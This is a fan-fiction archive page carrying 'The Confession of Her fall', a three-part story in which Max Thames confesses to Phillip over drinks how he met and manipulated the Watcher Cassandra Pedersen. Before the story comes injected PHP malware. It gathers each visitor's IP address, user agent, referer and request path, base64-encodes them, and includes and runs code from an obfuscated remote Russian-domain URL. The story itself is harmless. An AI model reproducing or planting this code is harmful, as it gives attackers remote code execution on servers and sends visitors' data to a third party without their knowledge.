#error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?> The Confession of Her fall by Evilandrea
The Confession of Her fall by Evilandrea
Summary:

Max Thames lets Phillip in on a dark secret about how manipulated the life of Cassandra Pedersen.


Categories: Plymverse Characters: None
Challenges:
Series: None
Chapters: 3 Completed: No Word count: 6551 Read: 34036 Published: 03/01/2009 Updated: 03/01/2009
Story Notes:

This story is set in the near future of the Carlisle game, after game 11

1. Part 1 by Evilandrea

2. Part 2 by Evilandrea

3. Part 3 by Evilandrea

Part 1 by Evilandrea

I smile as the person opposite me asks the question I have been expecting all evening, for all my years and it still surprises me how people will stall on asking the question foremost on their mind. Sometimes for reasons of pride, or to avoid causing pain, but many things can lower those inhibitions and the method tonight had been alcohol, though I suspected I was the target and my friend was trying to lower my inhibitions to talk. The question had been on their mind that much I could tell and I didn’t even need to resort to mind walking, the drink had been perhaps to pry the answer from me, but it hadn’t been necessary I wasn’t ashamed of the answer. “Cassandra Pedersen?” I smiled again “Yes I know her as it happens we met during the time I spent as a watcher.” I feel the need to chuckle but control it pretty well. I could leave it at that but the other deserved the full story it was only right and fitting and perhaps it would allow them to understand better where they currently were. And it was a long and sorry tale even before I got to what I’d been forced to do to get Cassie, as I had known her then to where she needed to be.

“It’s a long story but well I can see neither of us going anywhere soon, get yourself comfortable and I’ll explain everything.” I warn them, I take another mouthful of drink in front of me, I don’t really taste it any more but that doesn’t really bother me, I know I will succumb to the stuff long before the man I’m drinking with will. That bugger has the constitution of an ox and he knows it, it’s why he chose this method that and for the sake of old times. “Like I said I knew Cassandra when I was working as a Watcher, my last official mission as a Guardian, would have been about 5 years ago, it wasn’t a meeting formed through chance it was more deliberate, but to understand why I have to explain everything from the beginning so you understand the why of what I did. It just after my first run in with David Lytton, I fellow I found out about through a prophecy, all part of my relatively short assignment, 10 years studying the forces of good through prophecies related to the Vampire Slayer.” I sigh when I think about my job, talk about a dead end job, prophecies about the Vampire Slayer there were thousands most utterly rubbish, “I think it was my equivalent to pushing a boulder up hill for eternity, but well I made the best of it, and the best thing about working for a bunch of Mindwalkers is that they are too busy in their own heads to notice a dam thing you’re up to. Which worked for me, I could pretty much do my own thing and I think when I asked to actually go back to the field and serve as a Watcher to better deal with prophecies they were just happy to get me out from under their feet. They left me lone for ages even after the debarkle with Dave Lytton first time round, well okay they slapped my wrist for that the Council of Elders hit the roof about it so did the Watchers Council which was part of the reason I was in….” I can see the look of confusion of the other mans face, I pause for a second. “I didn’t tell you about the Dave Lytton thing?” I think back to when it had happened, “No course I wouldn’t not then, think the last time I would have seen you would have been for the funeral…” a mutual friend, a close mutual friend to both of us, she’d passed away long before her time and I suddenly realise I’ve barely seen the other man in the six years since her death. I feel the sudden sadness so common place among my kind when we see so many friends and loved ones die long before we will. I raise my glass in a toast and drain the last of the golden liquid. My companion does the same, it’s lucky I know the behaviour and some of the rituals of his kind, he then refills both glasses with the whiskey we have both been drinking.

I allow the few moments of quiet to pass calmly between us both, but the silence is telling and I know if I let it settle then we’ll both end up in a state by the morning and it will be dark place drinking which I will sorely regret. So I carry on with my explanation I feel it’s the safest of our possible discussion, we would likely drink to her memory but tonight wasn’t the night, but I would make sure it was done before I went back, with everything the way it currently was in the world and with the other news I had to give him it was important to do that things now. “Well the Dave Lytton thing, that all started accidentally, like I said I was heavily involved in prophecies and two names kept turning up in Slayer prophecy and prophecies of the end times, and I could swear I’d heard them somewhere else as well, The Warrior and the Weapon that binds good and evil, well initially I was hooked on a weapon that bound good and evil, spent ages discussing it with Dimitri a weapon like that would have to be Guardian made, but well it didn’t sit right that it was one of ours especially as these prophecies weren’t ours and that they came from so many different sources. So well as with many things I obsessed for a bit, I researched, scryed, the works, I couldn’t find this weapon, it didn’t exist, frustrating wasn’t the word, during this time I was also given a slayer in waiting, Chelsea Patterson she was…” I pause the words stick in my throat, there is so much I want to say about the girl, but I can’t and when I try a flare of anger ignites the alcohol inside me, fuels the rage I still feel towards the girl. But it’s not hate, I couldn’t hate her, what happened didn’t make me hate her but it did make me angry and those wounds were still very fresh to me. Chelsea Patterson was currently one of my biggest failures and I knew it, didn’t mean I wanted to talk about it with him though. I noticed that I’ve sat and balled both fists, I quickly unclench my hands hoping the other man didn’t notice, and change the topic, “Well she’s pretty much separate to all of this, anyway, yes these prophecies,” I think I’ve covered my slip pretty well and vow not to go back to the subject of her again for as long as I can, it’s not a place I like going at the moment. “Well I was busy with lots of things and couldn’t find this weapon anywhere, had no idea what it was, so I changed my view point a little, I was working on a very short time frame now, especially when I found out my slayer in waiting would be called, the balance shift around her told me that much, and well we both know Slayers don’t have a long life. I figured a weapon of good and evil might be tricky to find within the Balance so I started looking for the Warrior, I figured it would be a Slayer and as a Watcher I had perfect access to all the records I needed. Most of the prophecies seemed to link the Warrior to the South West of England, Plymouth to be exact and then I discovered that there was a gateway to hell their and well the pieces started to fall into place. I had focus for scrying and so when I wasn’t training my Slayer in waiting I began to search for this source, I hate scrying at the best of times, I Mindwalk but I’m no Mindwalker if that makes sense? I can find the information but it requires a fair whack of time and effort to make sense of it. So you can imagine my utter disbelief that when I scryed for a Slayer who would be the Warrior I kept coming up with the vision of a man. Five attempts later and all I could see was this man, it made little sense to me a man in a prophecy about a Slayer. What can I say I was hooked on the mystery, you know me when I get started on something and I get interested I just have to find the answer.” I smile we both know what happens when I find something that interests me I’m like a dog with a bone, sometimes the results are good sometimes they are bad my mentor calls it my greatest ability and my worst failing.

“Turned out his name was Dave Lytton, and he was known to the Council, that’s where I found the Slayer connection, well the first Slayer connection anyway, since about the age of 12 he was friends with a Slayer, she’d passed on a few years previously and her Watcher’s diaries seemed to indicate Dave had been training with her and then fighting with her. Dug a little deeper, and found out that he’d upset the council, interfered in the test they force Slayers to take at 18 and generally been a bit of a pain. From what I could tell with regards to the balance he was definitely a force of good, a huge force of good and I figured he’d led me to the Slayer, the Warrior and the Weapon. Trouble was I couldn’t work out which Slayer would end up there, I knew there was one but I couldn’t find her in the Balance.” I paused, then I’d been frustrated by it all, not being able to find something in the Balance was something I’d not been used to, sure I’m no good as a Healer but I at least understand and can feel the Balance really well, to not have that put my back up, and just made the whole curiosity of it all so much worse. “So I did the only logical thing, I decided to take the Chance on Mr Lytton and send him where he was needed to be. Let’s just call that my greatest and most flawed plan ever. Sure I was messing with Slayer prophecies, but we were warned of an on coming storm by the forces of evil, and well I knew the forces of good were going to need all the help they were going to get, I was pretty much saving for that raining day. The Council of Elders were being incredibly short sighted with regards to the Balance, and it had made me edgy I guess I was trying to set up a back up plan. How bad is that, a Guardian trying to out guess the council of Elders, no wonder they don’t like me much.” The realisation surprises me a little, I had spent the last couple of decades trying to get one step ahead of the council, and perhaps I always knew what they were going to do to me. “Well anyway I found Lytton, though I perhaps should have planned ahead. I learnt an important lesson that day, don’t go to speak to a demon hunter when he’s stalking a demon late at night in an abandoned building.” I see the other man shake his head and given me a look that speaks volumes of his opinion on it. I smile I can’t help it, I know exactly what he’s going to say to me, what he’s going to call me. “Don’t start I know it was stupid.” I say shaking my own head.

Part 2 by Evilandrea

I look into liquid in the glass in my hand, of all the things I’d done I’d really opened a can of worms with this one, sure I’d one some good and because of my actions the world hadn’t ended several times but, well it had also put a lot of other things in motion some not for the best and it probably aggravated my own situation and the problems I now currently faced. I realised I have missed something the other man has asked me, “Pardon?” I ask simply, the other man laughs, he looks years my senior possibly even old enough to be my own father but in reality he is so much younger than me it’s unreal. “What happened?” I answer repeating his question back, he nod’s sagely, “Ah well funny story there…” the other man raises an eyebrow he already doesn’t believe it’s going to be funny, he knows me well. “I found him and well it didn’t go well, we got into a bit of a scrap.” I hear the sigh from the other side of the room. “I was doing okay, swords were drawn I was holding things together really well, using the style…” I paused as for the second time that night the missing friend is mention, “I used Lycordia’s style, he was good but I was matching him well. Right up until he cut my face with the hilt of his sword.” I look over and the other man was already shaking his head he knew where this was going. “I got a touch aggressive…” the shaking of a head turns into a deep tired sigh from the other man. He’s wise enough to know what that would mean, I smile sheepishly I feel like a naughty school boy confessing my error to the other man. “I lost control let him get the upper hand and I got ran through with the Katana the lad was using.” The other man winces, I know he knows how much it would have hurt and unlike him I can’t deflect pain, it wasn’t a pleasant memory but by far not my most painful one. “Yeah talk about a cock up, luckily I’d given my message to the lad, before, well before he fled I guess I’m not totally sure.” I wasn’t then, now I know he had taken my words and headed off to the place where prophecy had seen him, some good had come out of my moment of stupidity, he’d fulfilled one prophecy already as had the slayer he was with, but they are other tales for other nights, right now I still had to explain myself to the other man. For him to understand why I’d done the things I had then to help him see why the present was the way it was now. Well that or the chaotic confusion that was my life was suddenly beginning to make sense to me, it was hard to say as the alcohol took hold of me.

I can see the other man has noticed my pause it has gone on longer than I expected, initially it had been one of those cool sort of pauses designed for effect, but by the look on his face, I messed up and it had turned into a difficult silence which had caused a look of concern from my friend. I shrug it off and continue with my story, I don’t even bother to try and salvage anything from the pause and pretend that it never happened. “Well I don’t really recall much after getting stabbed in the guts think I passed out…” I hadn’t but he didn’t need to know that I’d actually lay in a heap cursing and hoping to all and any gods that were listening that I didn’t Downtime, I did know one thing from that, Lyton had called for an ambulance, well that or I did have a fairy godmother somewhere, the later was doubtful but the fact Lyton had tried to help me even after running me through had at the time filled me with hope that pushing him towards the white hats was a good idea.

“Anyway I wake a few days later in a hospital, in pain and with two Mindwalkers sat at the end of my bed. And no they weren’t well wishes they were my bosses.” I sigh and the other man tops my glass back up, “Apparently the only contactable number the hospital had found was theirs, so they were posing as a concerned aunt and uncle, not the greatest thing to wake up to trust me, and well things didn’t get much better from there. Sure Guardian’s get hurt in the field from time to time, most however aren’t on their own little side projects, and as much as I would have liked to lie to them, the Council of Elders had given them permission to probe my mind to find out what had happened.” I saw my friend look a little confused, I knew he had a fair bit of experience with my kind, he’d lived among us for several years, but it seemed some of the darker sides of our society had eluded him. “You know it’s frowned upon for one Guardian to probe the mind of another without permission and even then you may only look at what the other person lets you?” I saw a nod from the other man and continued, “Well in extreme circumstances the Council of Elders will authorise someone to have a mind probe against their will. Well it seemed that they considered me an extreme circumstance at that point.” I take a mouthful of the liquid in my glass hoping to burn out the bitter taste the memory leaves me with. The man opposite shakes his head and I can tell from the look on his face he understands the underlying meaning of what I had said, I’d been forced against my will because someone somewhere didn’t trust me, and for a change without good reason. “Well they took the information from me, like I said I can Mind walk but against two primary and experienced Mindwalkers I stood no chance to hold any defence or put up any barriers, plus I wasn’t really on form after getting run through a few days previously. They took the information they wanted, I couldn’t stop them, it wasn’t a comfortable or pleasant experience, they have to be forceful to make sure nothing was being hidden by me. Ironically if they’d just asked me I probably would have told them everything I’d been up to anyway.” It had been a humiliating experience to have that done, to be so un-trusted by my own kind They found out I was working on the Slayer prophecies, but at least by taking the information directly from me by force they knew the motivation behind it, but that didn’t change the fact that in 700 years I was the first Guardian to have this done to them with the council’s permission and backing. Even now it stung and perhaps that’s why I couldn’t even tell my friend much about it, he was the first person I’d ever spoken to about it, and I couldn’t even tell him the full story of it, what it felt like, what they could have seen, it was still too raw for me to do that, I knew if I had he wouldn’t have judged, his kind never did and perhaps that was I even told him at all, I knew he wouldn’t see my any differently because of it, but I still couldn’t bring myself to tell him everything. “From what they saw they knew I only had the interest of the Balance in mind when I had done it, which I think was the saving factor in it all for me, but I still had to be punished, it was my final warning from them, if I even thought of stepping out of line I’d be sent back to the Village forever, I also had to promise to quit actively investigating and chasing Slayer prophecies unless they gave me permission to do so, and as a final dig from those on the Council no Guardian was to give me aid for the injury I’d picked up, I could heal it myself, which as we both know wasn’t likely to happen so I had to heal like any ordinary person. But it could have been worse I could remain in my current role and in the field which was all I really cared about at that point. I made my promises and they left me. But they weren’t my only bosses at that point.” Some days when I think of what happened, I really wonder if they should have actually recalled me to the Village, then Alex wouldn’t have discovered what he was, and in turn wouldn’t have been made rogue, the Sentry wouldn’t have been sent after the kids in Bedford Josh would still have his mother, Ramon wouldn’t have gone after Chelsea and I wouldn’t have ruined her life. I may have gone insane or got made Rogue a lot sooner that I did, but at least everyone else’s lives would have remained intact.

“The Watchers council paid me a visit not long after the Mindwalkers left me.” I said carrying on with the story even though my head was definitely starting to swim, a definite sign I should have called it a night but I was feeling stubborn and angry at myself so I decided to show my head who was boss by taking another sip of my drink in utter defiance. “Well the Watchers weren’t impressed, but unlike my own kind they couldn’t rip the information from me, so I told them a convenient lie, well mostly convenient, they some how knew David Lyton was involved, I didn’t ask how but I tried to protect him as best I could, odd really given the fact he was the one who’d hurt me, normally I’m a lot more angry at attempts on my life, but I wasn’t perhaps because I knew it was my fault. I gave the Watchers some story about demon chasing, which I wasn’t meant to be doing, and ran into David and well accidents happen. They took it but I was in trouble and as soon as I was out of hospital I had to go to Russell Square to stand before the board of directors. They weren’t impressed and I got a huge lecture about being young and foolish, which amused me seeing as I was probably older than combined ages of the four board members, but I nodded in all the right places and said sorry when I was meant to. I took my punishment like a man, or rather like the tweed wearing stiff upper lip type all Watchers have to be. The council had been worried my ‘youth’ might be causing me to be too headstrong and difficult, and they’d have to take a greater involvement in my development now that I had a Slayer in waiting. By development they actually meant interfering and performance management, it wasn’t too bad, at least I’d not been kicked out, which I think the council of Elders had been secretly hoping for. I still had my Slayer….” I sighed I really didn’t want to think about her tonight, even since my run in with Calith since he’d made me see things I’d been having a lot of nightmares and she was often there stood in a field of giggling flowers and always asking why. I know I would see her tonight I could almost guarantee it, memories were like muddy water, once it was stirred up it took a long time to settle.

Part 3 by Evilandrea

“So how does Cassandra fit into all of this?”

I look up at the other man as he asks me a question, his face is still passive and hard to read, and I would no more use Mindwalking on him than I would any friend, “I’m just getting to that…” I say with a smile and finish my glass, and watch with some amusement as he tops both of our glasses back up. “Well I was basically in the shit, excuse my language but I was, I had the Guardian’s watching everything I did and the Watcher’s Council too. I had to as I was told, and was not allowed to dabble in anything, the Balance, prophecy, I had to keep solely to my mission. I lasted a month, five weeks at the most. What can I say I got bored and still had this nagging worry about the Balance, and what was happening. I knew anything to do with Slayer prophecies were being watched very closely by the other Guardian’s. But that’s not the only prophecy I have, so I couldn’t touch the Slayer prophecies held by the Guardian’s, but they only hold prophecies made by humans, they don’t hold every single prophecy written.” I pause briefly trying to judge what Phillip knew but as always he gave nothing away, I smiled and went on, “Well Guardian’s sometimes write prophecy as well, it’s a Mindwalking thing and any Guardian who can Mindwalk to a certain level can have a prophetic vision. But unlike all our other prophecies these aren’t ridiculed and are believed, they are also the responsibility of the individual it happens to as it was meant for them and as they will occur during their lifetime it makes sense for them to see it through to the end. I’ve not had one of these happen to me, but I do have someone else’s, one that was left to me, which is odd in itself, I’ve never heard of anyone’s prophecy out living them but well there is a first time for everything. I was given this prophecy about 30 years ago, along with a half finished spell as we saw the other night. Merlin left them both to me, Balance knows why, but he did, and even though Merlin had the prophecy almost two millennia ago it was very detailed and exact, but I can’t tell you too much about it now. It’s for a time in the near future, very near I fear, and well I’d been studying it for sometime and well when I was banned from touching Slayer prophecy I went back to focusing and working on it. When I re-read it I was suddenly very glad I’d picked it up again, I’d left it for a few years, well a good ten at my count, and when I read some of the stuff I knew I probably didn’t have that much time to act and as half the prophecy was still un-translated from the original language it gave me something to do. The prophecy is long and detailed, and a real bugger to translate but I read it as I translated it, it was fairly standard stuff, instructions mainly what I would need to do and why, then I read about a warrior and a weapon that bound good and evil and well nearly hit the roof. I’d looked back through the earlier stuff and there was a very brief mention which I seemed to have over looked, and seeing that I knew well I knew it would be soon.” It was unnerving at the time when I’d seen those two mentioned but it had made some sense why it had piqued my attention in the slayer prophecies. “And it seemed it would involve the Slayer or a Slayer, or possibly multiple Slayers and the ‘Watchers of the one chosen girl’, it was pretty daunting and I knew I would have to be careful, I was meant to be not getting involved with Slayer prophecies, so if I was to do this I had to make sure I wasn’t caught. But then about six weeks after I’d been hurt, I had to go and see one of the Mindwalkers I worked for and he let slip something, I’d raised concerns to him regarding the Balance and he’d taken it to the council who it seemed had plans for the Slayer. The Balance was off in the favour of good, and that I shouldn’t have been worrying because the council had a plan, they were going to release a powerful demon on the side of evil and allow it to rise up against the Watcher’s Council and Slayers. I couldn’t believe I was hearing it and as I was further let into the plan I was horrified they hoped to have the majority of Watchers, Slayers, and Slayers in Waiting killed by this demon and their cult leaving only 2 or 3 Slayers and a handful of girls in waiting with an equal number of Watchers. I was partly told to better prepare myself for when it happened. I was pretty sure the council had gone insane, they would utterly loose control of the Balance again and worse yet, Merlin’s prophecy was looking grim if this was what was to happen. I shouldn’t speak bad of the council but I’m pretty sure I’m drunk so here it is, they were insane to do this, they had no idea and still don’t if it wasn’t for some well placed calls and stuff on my part they would have succeeded, so confession I did fuck about with the Balance, but good job I did because their plan went tits up an we lost control of the Balance in the other way in a matter of weeks, which resulted in them forcing the creation of even more Slayers, it was madness.” I didn’t normally rant but this had irked me for several years in all honesty, I had spit nails and had gone against the council in a fit of rage not long before Alex and Christa had shown up in Bedford, it’s why I’d been so worried when they’d shown up, if I’d been caught warning people I would have really been in trouble.

“So it left me between a rock and a hard place, I couldn’t tell the Mindwalker I was working for about the prophecy as there would be uproar if they knew I had it.” I knew I could tell my friend, and that wasn’t the alcohol speaking he would keep my secrets he always had. “So I had to act upon it I needed to make sure certain pieces were in place. One of the things I had to ensure would be there was ‘a Watcher of the chosen girl, one with a mother’s love she will never give her own.’ Cryptic huh, it didn’t give me much, all I could gather from it was it was likely a woman, who hadn’t had kids yet.” I said remembering my own thought when I read it, but even that hadn’t given me a lot to go on. “Well the following week my presence was required at the Watchers HQ down in London, and I was on watch with them I had to attend, it was some seminar about modern demon hunting methods. All really dull stuff, the way all such conferences are, it was the sort of thing I’d attended on a fairly frequent basis when I’d been waiting to get my Slayer in Waiting, I had to paint the image of a high flyer, and it had worked for the most part I was seen as a bit of a golden boy I was very young, they assumed I was 26 and that was very young to have a Slayer in Waiting. And even having my performance monitored closely as I was at the time I was still very much one of their high flyers. The Watchers council is very much of an old boys club, if they think you attended the right public schools, have the right connections, have the right upbringing then you’re in, the closer you are to that sort of thing the easier life in the Council is. I’d had that sussed when I’d joined them, my paper trail was perfect I had great credentials for joining so when I was there I was treated very well, introduced to all the right people and flew up their ranks. I think I hated every minute of it.” I said which a chuckle I was pretty sure Phillip would know what I meant, his order didn’t subscribe to it but I knew he had enough real world experience to have seen it and even been there no doubt. “So when I turned up to this conference, despite my black mark, people were glad to see me, almost welcoming, which was hard to deal with especially as I knew of the storm that was on the horizon. Even those who had yelled at me two months previous were glad to see me, glad to see I’d not taken it to heart, and reassured me it was just process, but I had better still make sure I wound my neck in. Of course it was all just a front, I knew most were still peeved on the inside and some wanted to see me fail altogether. I felt just as uncomfortable here as I did when I was with my own kind. I also had the problem of the prophecy looking for a Watcher to keep safe keep them out of the firing line so to say. But here pretty much everyone had a Slayer in waiting, or were too old to fit the description I’d been given.” I take another mouthful of drink, everything was slowly starting to take on a cotton wool feeling, and everything had soft fluffy edges and the end of my nose was starting to feel oddly numb, part of my brain warned me I would regret this in a few hours, but I wasn’t listening to it.

“And then you found Cassandra? At this Watcher’s conference?”

I smiled at the question ignoring the end of my nose, “Well not quite she sort of found me.” I paused, it had been a sheer fluke, I’d not been looking for her, I’d just been trying to avoid another doddering old Watcher lecture me for being a ‘young-scamp’ it was annoying when you were in fact almost three times their age and didn’t feel the need to talk to house plants. “I’d been stood at the welcoming dinner trying to keep from going completely insane, avoiding having to chat to anything that looked like it might be ready for Eastbourne, and then there she was. She really stood out from the crowd, least of all because she was well below the pension threshold.” I smile at the memory, “She looked stunning that night and why she chose to speak to me I’ll never know.” I always looked a little scruffy, even in black tie I look like I’ve just got out of bed and come by way of a hedge. But Cassie, she had been immaculate and it had been a good sight in my currently less than sober opinion. “At first I thought she must have mistaken me for a waiter or something, you’d be surprised how often that happens to me, but instead of asking me to take her empty glass she asked me what I found so amusing. I hadn’t been smiling it was just how it looks in some lights with the scar, but when an attractive woman asks you something like that you don’t tell her the truth, you go along with whatever she is saying.” I can hear the amused chuckle from my friend, I’m not sure if it’s because of my description of charming women, or because I called Cassie attractive, it’s hard to tell especially as I know he’s been celibate all his life, even though he’d once known love. I smile back at him enjoying the moment of humour this would probably be less funny if I was completely sober. “Well I made up some rubbish about trying to work out the combined age of the room but had run out of fingers on which to mark the zeros and could I borrow hers. Lame I know but it worked I got a smile out of her, once you get a woman to smile then actually talking to her is a whole lot easier. And well Cassie was no different…”

“Cassie?”

I look over at him he sounds surprised I used the short version of the woman’s name, something in the way that it’s said tells me that it’s not the normal use of her name, “Hmm I guess she’s not going by that any more?” I asked with a raised eyebrow, it had been a long time since I’d seen her, well long time to them, five years to my kind was nothing. “Well that’s how I knew her back then. We had a great evening she was friendly, flirty it made a huge difference after the weeks of utter shit I’d had to endure. I found out she was a Watcher, that surprised me, she dealt primarily with research but according to her that was going to end after that weekend where after she delivered her paper Sunday she would be getting her own Slayer in waiting. And that’s where the conversation seemed to stick, I mentioned I had a Slayer in Waiting and well we just seemed to talk about that. She was just so talkative about getting a Slayer in waiting and asking me about mine…” I trailed off, back then I’d been incredibly positive and excited for my own Slayer in Waiting by the time I decided she would be the one to fall I could hardly stand to be in the same room as her. I often asked myself why it had gone so wrong, why I’d failed her as badly as I had. I knew I had deep down and somehow the alcohol dulled the anger I normally felt to make me see that once again. “And well it was a good night, I was my usual charming self, and boy did she flirt with me, she assumed she was a few years older, little she knew, but after all the dry humourless Watchers intent on droning on at me, I enjoyed the company and I think she did. Like I said the Watchers Council is a bit of an old boys club, and she really wasn’t, she was funny, vibrant and full of life. Cassie really didn’t belong in the Watcher’s council she was different, but she didn’t seem to notice she was that out of place, or didn’t care, she just wanted to make a difference, fight the good find and train a Slayer. She had so much hope and passion for what she could do to change things, to make the world better. I think that was why I was so reluctant to do what I did.” I pause what I had done next had been a double edged sword I knew that much already I’d heard about some of the aftermath, but well sometimes we all have to make sacrifices for the greater good.

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